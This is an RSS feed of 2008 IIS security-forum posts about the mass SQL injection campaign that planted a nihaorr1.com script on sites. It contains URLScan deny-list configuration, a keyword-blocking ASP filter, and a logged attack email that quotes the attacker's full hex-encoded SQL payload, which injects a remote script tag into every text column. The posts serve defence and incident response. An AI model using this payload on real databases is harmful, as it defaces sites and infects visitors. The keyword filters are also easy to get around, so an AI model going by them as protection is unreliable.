<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://forums.iis.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:cs="http://blogs.iis.net/"><channel><title>Search results matching tag 'sql injection'</title><link>http://forums.iis.net/search/SearchResults.aspx?o=DateDescending&amp;tag=sql+injection&amp;orTags=0</link><description>Search results matching tag 'sql injection'</description><dc:language>en-US</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>URLScan 3.0 RTW: [AlwaysAllowedQueryStrings]</title><link>http://forums.iis.net/p/1151466/1878157.aspx#1878157</link><pubDate>Tue, 02 Sep 2008 13:46:32 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1878157</guid><dc:creator>jgraham</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;Doing some testing, currently, and running into some issues with this.&lt;/p&gt;&lt;p&gt;We&amp;#39;ve got a couple cases where things like &amp;#39;cast&amp;#39; or &amp;#39;open&amp;#39; are appropriate for our webpages.&lt;/p&gt;&lt;p&gt;I&amp;#39;ve setup an AlwaysAllowedQueryStrings section:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;[AlwaysAllowedQueryStrings]&lt;br /&gt;branch=Openshaw&lt;br /&gt;branch=Newcastle+upon+Tyne&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Now, this is great... and it works fine, if I look up /town.asp?branch=Openshaw&lt;/p&gt;&lt;p&gt;However,&amp;nbsp; some of our pages will send branch=Openshaw&amp;amp;x=22&amp;amp;y=9 and URLScan appears to be treating &amp;quot;&amp;amp;x=22&amp;amp;y=9&amp;quot; as part of branch=&lt;/p&gt;&lt;p&gt;Is there any way around this? The product could really save us while we hound vendors to update their code to account for SQL injection/etc. But with these cases, it would do about as much harm as good, at this stage.&lt;/p&gt;&lt;p&gt;&amp;nbsp;Thanks in advance. &lt;br /&gt;&lt;/p&gt;</description></item><item><title>Re: UrlScan 3.0 Beta not capturing SQL Injection</title><link>http://forums.iis.net/p/1150219/1877076.aspx#1877076</link><pubDate>Mon, 18 Aug 2008 12:51:54 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877076</guid><dc:creator>apajlopez</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;Rovastar,&lt;/p&gt;
&lt;p&gt;I can confirm that the workaround that KentZhou posted works.&amp;nbsp; I have included below the contents of the RuleList section in the UrlScan.ini as I have it in my test box.&lt;/p&gt;
&lt;p&gt;After changing the rule though I issued an iisreset /restart command before I tested so the UrlScan.ini&amp;#39;s settings were taken into account.&amp;nbsp; I don&amp;#39;t know if there is a cycle by which these settings in the .ini file are refreshed.&amp;nbsp; &lt;/p&gt;
&lt;p&gt;I tried issuing the following request, all of which were stopped by URLScan:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://localhost/?declare"&gt;http://localhost/?declare&lt;/a&gt;&lt;br /&gt;&lt;a href="http://localhost/default.asp?declare"&gt;http://localhost/default.asp?declare&lt;/a&gt;&lt;br /&gt;&lt;a href="http://localhost/default.aspx?declare"&gt;http://localhost/default.aspx?declare&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;RuleList=SQLInjection&lt;/p&gt;
&lt;p&gt;[SQLInjection]&lt;br /&gt;AppliesTo=.asp,.aspx,.&lt;br /&gt;DenyDataSection=SQL Injection Strings&lt;br /&gt;ScanUrl=0&lt;br /&gt;ScanAllRaw=0&lt;br /&gt;ScanQueryString=1&lt;br /&gt;ScanHeaders=&lt;/p&gt;
&lt;p&gt;[SQL Injection Strings]&lt;br /&gt;--&lt;br /&gt;%3b ; a semicolon&lt;br /&gt;/*&lt;br /&gt;@ ; also catches @@&lt;br /&gt;char ; also catches nchar and varchar&lt;br /&gt;alter&lt;br /&gt;begin&lt;br /&gt;cast&lt;br /&gt;convert&lt;br /&gt;create&lt;br /&gt;cursor&lt;br /&gt;declare&lt;br /&gt;delete&lt;br /&gt;drop&lt;br /&gt;end&lt;br /&gt;exec ; also catches execute&lt;br /&gt;fetch&lt;br /&gt;insert&lt;br /&gt;kill&lt;br /&gt;open&lt;br /&gt;select&lt;br /&gt;sys ; also catches sysobjects and syscolumns&lt;br /&gt;table&lt;br /&gt;update&lt;br /&gt;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/p/1148917/1870022.aspx#1870022</link><pubDate>Thu, 22 May 2008 02:11:46 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1870022</guid><dc:creator>ejhay</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;

Hi, 

Im a System Administrator of a Hosting Company, and one of our website has been hacked with SQL injection, At first the hacker inserted nihaorr1.com/1.js most of the website table are being affected with this attacked, after that incident I developed a SQL validation that is similar on the asp script that you posted in this forum unfortunately&amp;nbsp; the hacker&amp;nbsp; inserted again a&amp;nbsp; malicious URL on the MS SQL database what I did is I include the validation for all database driven pages to make the website secured but at this time the hacker can insert the script again and again. I think the hacker is using a problem that you executing this kind of hacking activity. please advise what else can I do with this problem. thanks&lt;br /&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/p/1148917/1870020.aspx#1870020</link><pubDate>Thu, 22 May 2008 02:08:52 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1870020</guid><dc:creator>ejhay</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;

Hi, 

Im a System Administrator of a Hosting Company and one of our website has been hack with SQL injection, At first the hacker inserted nihaorr1.com/1.js most of the website table are being affected with this attacked, after I created that a created a SQL validation like one that you have posted in this forum unfortunately&amp;nbsp; the hacker&amp;nbsp; inserted again a&amp;nbsp; malicious URL on the MS SQL database what I did is I include the validation for all database driven pages to make the website secured but at this time the hacker can insert the script again and again. I think the hacker is using a problem that you executing this kind of hacking activity. please advise what else can I do with this problem. thanks&lt;br /&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/p/1148917/1868234.aspx#1868234</link><pubDate>Sun, 27 Apr 2008 02:53:56 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1868234</guid><dc:creator>alexhiggins732</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;Hi,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;The use of this script at pointing to nihaorr1.com is only the latest method of attack used by this attacker.&amp;nbsp; This guy has been hacking at a clients web site for a long time and usually does so through various proxy servers.&amp;nbsp; For those looking for a tool to view IIS log files, check out this program I have written &lt;a href="http://www.alexanderhiggins.com/logfileparser.aspx"&gt;http://www.alexanderhiggins.com/logfileparser.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To prevent the attacks I have made done the following:&lt;/p&gt;
&lt;p&gt;1) Open notepad and past the following code.&amp;nbsp; The code will check the request for a sql injection attack, and if it finds one it sends you an email and redirects the request to an error page.&lt;/p&gt;
&lt;p&gt;&amp;lt;%&lt;br /&gt;dim str&lt;br /&gt;dim r&lt;br /&gt;dim badwords&lt;br /&gt;str = request.servervariables(&amp;quot;QUERY_STRING&amp;quot;) &lt;/p&gt;
&lt;p&gt;if verify(str) = false or (request.querystring(&amp;quot;preview&amp;quot;)=&amp;quot;true&amp;quot;) then&lt;br /&gt;&amp;nbsp;Set myMail=CreateObject(&amp;quot;CDO.Message&amp;quot;)&lt;br /&gt;&amp;nbsp;myMail.Subject=&amp;quot;Sending email with CDO&amp;quot;&lt;br /&gt;&amp;nbsp;myMail.From=&amp;quot;&lt;a href="mailto:youremailaddress@yourdomain.com"&gt;youremailaddress@yourdomain.com&lt;/a&gt;&amp;quot;&lt;br /&gt;&amp;nbsp;myMail.To=&amp;quot;&lt;a href="mailto:youremailaddress@yourdomain.com"&gt;mailto:youremailaddress@yourdomain.com&lt;/a&gt;&amp;quot;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;Dim body&lt;br /&gt;&amp;nbsp;for each item in request.servervariables&lt;br /&gt;&amp;nbsp;&amp;nbsp;body = body &amp;amp; item &amp;amp; &amp;quot;=&amp;quot; &amp;amp; request.servervariables(item) &amp;amp; vbcrlf&lt;br /&gt;&amp;nbsp;next&lt;br /&gt;&amp;nbsp;&amp;#39;for each item in request.params&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;body = body &amp;amp; item &amp;amp; &amp;quot;=&amp;quot; &amp;amp; request.params(item) &amp;amp; vbcrlf&lt;br /&gt;&amp;nbsp;&amp;#39;next&lt;br /&gt;&amp;nbsp;myMail.TextBody=&amp;quot;This is a SQL Injection Hack Attempt.&amp;nbsp; Heres the details.&amp;nbsp; &amp;quot; &amp;amp; vbcrlf &amp;amp; vbcrlf &amp;amp; body&lt;br /&gt;&amp;nbsp;if request.querystring(&amp;quot;preview&amp;quot;)=&amp;quot;true&amp;quot; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;response.write(&amp;quot;&amp;lt;pre&amp;gt;&amp;quot; &amp;amp; myMail.textbody &amp;amp; &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;set myMail=nothing&lt;br /&gt;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;myMail.Send&lt;br /&gt;&amp;nbsp;&amp;nbsp;set myMail=nothing&lt;br /&gt;&amp;nbsp;&amp;nbsp;response.redirect(&amp;quot;urlscripterror.asp&amp;quot;)&lt;br /&gt;&amp;nbsp;end if&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;end if&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;response.write(verify(str) &amp;amp;&amp;quot;&amp;lt;BR&amp;gt;&amp;quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;response.write(str &amp;amp;&amp;quot;&amp;lt;BR&amp;gt;&amp;quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;response.write(request.servervariables.count)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;for each item in request.servervariables&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;response.write(item &amp;amp; &amp;quot;=&amp;quot; &amp;amp; request.servervariables(item) &amp;amp; &amp;quot;&amp;lt;BR&amp;gt;&amp;quot;) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;#39;next&lt;/p&gt;
&lt;p&gt;function verify(s)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;#39;convert the querystring to lowercase&lt;br /&gt;&amp;nbsp;s = lcase(s)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;#39; badwords - a list of disallowed keywords in the url&lt;br /&gt;&amp;nbsp;badwords= &amp;quot;select insert update delete drop -- table alter cast convert exec chr( union&amp;quot;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;#39; create an array list of each back word&lt;br /&gt;&amp;nbsp;r = split(badwords, &amp;quot; &amp;quot;)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;#39; loop through the bad words and return false if it is present.&lt;br /&gt;&amp;nbsp;for i =0 to ubound(r)&lt;br /&gt;&amp;nbsp;&amp;nbsp;if instr(s, r(i)) &amp;gt; 0 then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;verify = false &amp;#39;instr(s, r(i))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit function&lt;br /&gt;&amp;nbsp;&amp;nbsp;end if&lt;br /&gt;&amp;nbsp;next&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;#39; If the badword was not found then set verified to = True&lt;br /&gt;&amp;nbsp;verify=true&lt;/p&gt;
&lt;p&gt;end function&lt;br /&gt;%&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;2) Save the file as urlfilter.asp and upload it to your web site root.&lt;/p&gt;
&lt;p&gt;3) Include the file by pasting the following codeat the very beginning of your asp pages. Note if your site uses includes you can include it in a single include that is shared by all of your pages.&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- #include virtual=&amp;quot;/urlfilter.aspx&amp;quot; --&amp;gt;&lt;/p&gt;
&lt;p&gt;From a security perspective, lock down your databases.&amp;nbsp;&amp;nbsp;Perhaps allow only select permissions for anonymous viewers and have a&amp;nbsp;different sql login and connection string for the backend where database updates are required. &lt;/p&gt;
&lt;p&gt;My issue with monitoring for EXEC commands is&amp;nbsp;by that point the damage is already done. Further, if the hacker is skilled enough they can comprimise your entire server before you even realize&amp;nbsp;they have attacked using the write sql code. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;Here is the email I received when this attack happened, with certain information replaced of course.&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font size="3"&gt;&lt;font face="Consolas"&gt;This is a SQL Injection Hack Attempt.&lt;span style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/span&gt;Heres the details.&lt;span style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;font face="Consolas" size="3"&gt;&amp;nbsp;&lt;/font&gt; 
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;ALL_HTTP=HTTP_CONNECTION:keep-alive&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_CONTENT_LENGTH:0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_CONTENT_TYPE:text/html&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_ACCEPT:text/html, */*&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_HOST:www.domainname.com&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_USER_AGENT:Mozilla/3.0 (compatible; Indy Library)&lt;/font&gt;&lt;/p&gt;&lt;font face="Consolas" size="3"&gt;&amp;nbsp;&lt;/font&gt; 
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;ALL_RAW=Connection: keep-alive&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;Content-Length: 0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;Content-Type: text/html&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;Accept: text/html, */*&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;Host: &lt;/font&gt;&lt;a href="http://www.domainname.com/"&gt;&lt;font face="Consolas" size="3"&gt;www.domainname.com&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;User-Agent: Mozilla/3.0 (compatible; Indy Library)&lt;/font&gt;&lt;/p&gt;&lt;font face="Consolas" size="3"&gt;&amp;nbsp;&lt;/font&gt; 
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;APPL_MD_PATH=/LM/W3SVC/1206399212/Root&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;APPL_PHYSICAL_PATH=E:\domainname\web\&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;AUTH_PASSWORD=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;AUTH_TYPE=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;AUTH_USER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_COOKIE=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_FLAGS=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_ISSUER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_KEYSIZE=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_SECRETKEYSIZE=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_SERIALNUMBER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_SERVER_ISSUER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_SERVER_SUBJECT=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CERT_SUBJECT=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CONTENT_LENGTH=0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;CONTENT_TYPE=text/html&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;GATEWAY_INTERFACE=CGI/1.1&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTPS=off&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTPS_KEYSIZE=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTPS_SECRETKEYSIZE=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTPS_SERVER_ISSUER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTPS_SERVER_SUBJECT=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;INSTANCE_ID=1206399212&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;INSTANCE_META_PATH=/LM/W3SVC/1206399212&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;LOCAL_ADDR=xxx.xxx.xxx.xxx&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;LOGON_USER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;PATH_INFO=/attackedpage.asp&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;PATH_TRANSLATED=E:\domainname\web\attackedpage.asp&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;QUERY_STRING=date=4/17/2008%2011:05:00%20AM&amp;#39;;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;REMOTE_ADDR=219.153.46.28&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;REMOTE_HOST=219.153.46.28&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;REMOTE_USER=&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;REQUEST_METHOD=POST&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;SCRIPT_NAME=/lakewood_blueclaws_schedule.asp&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;SERVER_NAME=www.domainname.com&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;SERVER_PORT=80&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;SERVER_PORT_SECURE=0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;SERVER_PROTOCOL=HTTP/1.0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;SERVER_SOFTWARE=Microsoft-IIS/6.0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;URL=/attackedpage.asp&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_CONNECTION=keep-alive&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_CONTENT_LENGTH=0&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_CONTENT_TYPE=text/html&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_ACCEPT=text/html, */*&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_HOST=www.domainname.com&lt;/font&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="MARGIN:0in 0in 0pt;"&gt;&lt;font face="Consolas" size="3"&gt;HTTP_USER_AGENT=Mozilla/3.0 (compatible; Indy Library)&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;As you can see the attacker simple sent a malformed URL query, which of course is viewable in my IIS logs.&lt;/p&gt;</description></item><item><title>SQL Injection Attacks on IIS Web Servers</title><link>http://forums.iis.net/p/1149068/1868206.aspx#1868206</link><pubDate>Sat, 26 Apr 2008 03:41:33 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1868206</guid><dc:creator>bills</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;This thread will contain the latest information regarding&amp;nbsp;&lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;taxonomyId=17&amp;amp;articleId=9080580&amp;amp;intsrc=hm_topic"&gt;recent&lt;/a&gt; &lt;a href="http://www.pcworld.com/article/id,145151-c,hackers/article.html"&gt;reports&lt;/a&gt; that have surfaced stating that web sites running on Microsoft’s Internet Information Services (IIS) 6.0 have been compromised. These reports allude to a possible vulnerability in IIS or issues related to &lt;a href="http://www.microsoft.com/technet/security/advisory/951306.mspx"&gt;Security Advisory 951306&lt;/a&gt; which was released last week.&lt;/p&gt;
&lt;p&gt;Microsoft has investigated these reports and determined that the attacks are &lt;u&gt;not&lt;/u&gt; related to the recent &lt;a href="http://www.microsoft.com/technet/security/advisory/951306.mspx"&gt;Microsoft Security Advisory (951306)&lt;/a&gt; or &lt;u&gt;any&lt;/u&gt; &lt;u&gt;known&lt;/u&gt; &lt;u&gt;security&lt;/u&gt; &lt;u&gt;issues&lt;/u&gt; related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies.&lt;/p&gt;
&lt;p&gt;Instead, attackers have crafted an automated attack that can take advantage of SQL injection vulnerabilities in web pages that do not follow security best practices for web application development. While these particular attacks are targeting sites hosted on IIS web servers, SQL injection vulnerabilities may exist on sites hosted on any platform.&amp;nbsp; More information on SQL injection attacks can be found &lt;a href="http://msdn2.microsoft.com/en-us/library/ms161953.aspx"&gt;here&lt;/a&gt; and &lt;a href="http://msdn2.microsoft.com/en-us/library/bb671351.aspx"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Guidance from Microsoft for web application development best practices can also be found on &lt;a href="http://msdn2.microsoft.com/en-us/library/ms994921.aspx"&gt;this MSDN page&lt;/a&gt;. Best practices guidelines that developers may follow to mitigate SQL injection, can be located &lt;a href="http://msdn2.microsoft.com/en-us/library/ms998271.aspx"&gt;here&lt;/a&gt;. As we continue to make progress in our investigation on this attack, we will provide updated guidance and information on the &lt;a href="http://www.iis.net/"&gt;IIS.net&lt;/a&gt; site. For the latest information on this issue, please subscribe or visit the &lt;a href="http://forums.iis.net/p/1149068/1868206.aspx"&gt;IIS security forum&lt;/a&gt;.&lt;/p&gt;
